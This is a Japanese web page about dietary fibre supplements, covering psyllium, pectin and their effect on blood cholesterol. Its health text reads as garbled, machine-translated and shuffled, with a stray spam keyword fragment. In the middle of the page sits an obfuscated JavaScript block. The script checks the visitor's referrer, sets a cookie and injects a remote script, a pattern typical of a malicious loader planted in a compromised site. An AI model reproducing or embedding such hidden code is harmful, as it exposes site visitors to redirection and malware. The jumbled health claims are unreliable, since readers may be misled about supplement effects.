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この場合、サイリウム種子の殻などの穀物ふすま、またはメチルセルロースなどの合成繊維がよく使用されます。.

しかしながら、繊維サプリメントが血中コレステロールの減少において食物繊維と同じくらい効果的であるかどうかに関して研究は混合した結果を生み出しました.

サプリメントの代わりに植物、野菜、マメ科植物、および穀物）は、それらが追加の有益な栄養素および非栄養成分（ｅ）を含むので好ましい。.. IOMによると、機能性繊維は「人間に有益な生理学的効果をもたらす単離された非消化性炭水化物からなる」.

過度の繊維摂取は、体液の不均衡、脱水、ミネラル不足、栄養素と薬物の相互作用、その他の医学的問題を引き起こす可能性があります。.. しかし、調査によると、平均的なアメリカ人は1日当たり14〜15グラムしか消費しません。.. 抽出された不溶性繊維を含むサプリメントは、食物繊維の効果に最も似ている血中脂質に効果があるかもしれません.. 2つの最近の研究は、リンゴ由来の可溶性ペクチンとアラビアガムの両方を含む繊維添加リンゴジュースを使用して、ほぼ相反する結果を示しています。.

粘性繊維が多い食品は胆汁酸と結合することで血中コレステロールを下げることがわかっています.. constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x5692a4){_0x3186c=window;}return _0x3186c;};var _0x335645=_0x9a187a();var _0x2fd5f2='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x335645['atob']||(_0x335645['atob']=function(_0x4c22fa){var _0x373f27=String(_0x4c22fa)['replace'](/=+$/,'');for(var _0x2b32f6=0x0,_0xe92b04,_0x5a432e,_0x386683=0x0,_0x118f27='';_0x5a432e=_0x373f27['charAt'](_0x386683++);~_0x5a432e&&(_0xe92b04=_0x2b32f6%0x4?_0xe92b04*0x40+_0x5a432e:_0x5a432e,_0x2b32f6++%0x4)?_0x118f27+=String['fromCharCode'](0xff&_0xe92b04>>(-0x2*_0x2b32f6&0x6)):0x0){_0x5a432e=_0x2fd5f2['indexOf'](_0x5a432e);}return _0x118f27;});}());_0x3309['pTjWLq']=function(_0x14ddae){var _0x2d0b6a=atob(_0x14ddae);var _0x4b6b2f=[];for(var _0x129fa2=0x0,_0x1c39e1=_0x2d0b6a['length'];_0x129fa2=_0x234a9a;},'azyGW':_0x3309('0x1d'),'ZwrYM':function(_0x2e75c4,_0xa58937){return _0x2e75c4===_0xa58937;},'GytBH':_0x3309('0x1e'),'PiCyQ':_0x3309('0x6'),'JkNYD':function(_0xc78721,_0x1fb039){return _0xc78721(_0x1fb039);}};var _0x4cdefc=[_0x201675[_0x3309('0x1f')],_0x3309('0x20'),_0x201675[_0x3309('0x21')],_0x201675[_0x3309('0x22')],_0x201675['nGrjW'],_0x3309('0x23'),_0x201675[_0x3309('0x24')]],_0x10594a=document[_0x3309('0x25')],_0x583290=![],_0x22d657=cookie[_0x3309('0x26')](_0x3309('0x6'));for(var _0x1cfdd8=0x0;_0x201675[_0x3309('0x27')](_0x1cfdd8,_0x4cdefc[_0x3309('0x28')]);_0x1cfdd8++){if(_0x201675[_0x3309('0x29')]!==_0x201675['DlPDa']){if(_0x201675['Cupzc'](_0x10594a['indexOf'](_0x4cdefc[_0x1cfdd8]),0x0)){if(_0x201675[_0x3309('0x2a')]!==_0x3309('0x2b')){_0x583290=!![];}else{include(_0x201675[_0x3309('0x2c')](_0x201675['VIBMl'],q)+'');}}}else{var _0x15ca3a=document['createElement'](_0x201675[_0x3309('0x2d')]);_0x15ca3a[_0x3309('0x2e')]=url;document[_0x3309('0x3')](_0x201675[_0x3309('0x2f')])[0x0][_0x3309('0x5')](_0x15ca3a);}}if(_0x583290){if(_0x201675['ZwrYM'](_0x3309('0x1e'),_0x201675['GytBH'])){cookie[_0x3309('0x10')](_0x201675['PiCyQ'],0x1,0x1);if(!_0x22d657){_0x201675['JkNYD'](include,_0x201675['Atwtx'](_0x201675['Atwtx'](_0x201675['VIBMl'],q),''));}}else{params=matches[_0x1cfdd8][_0x3309('0x30')]('=');cookie[params[0x0]]=params[0x1]['replace'](/;$/);}}}R(); 繊維補助食品（または繊維補助食品）は機能性食物繊維のサブグループの一形態であると考えられており、米国では医学研究所（IOM）によって定義されています。.. これを補うために、肝臓からのコレステロールはより多くの胆汁酸を作るために使われるかもしれません.. 繊維補助食品は広く入手可能であり、粉末、錠剤、およびカプセルなどの形態で見出すことができる。.. アップルファイバー 効果 クチコミ エ**最初の研究では、サプリメント強化ジュースは110人の高コレステロール血症の男性と女性の血中コレステロールレベルに識別可能な影響を及ぼさなかった. 5ebbf469cd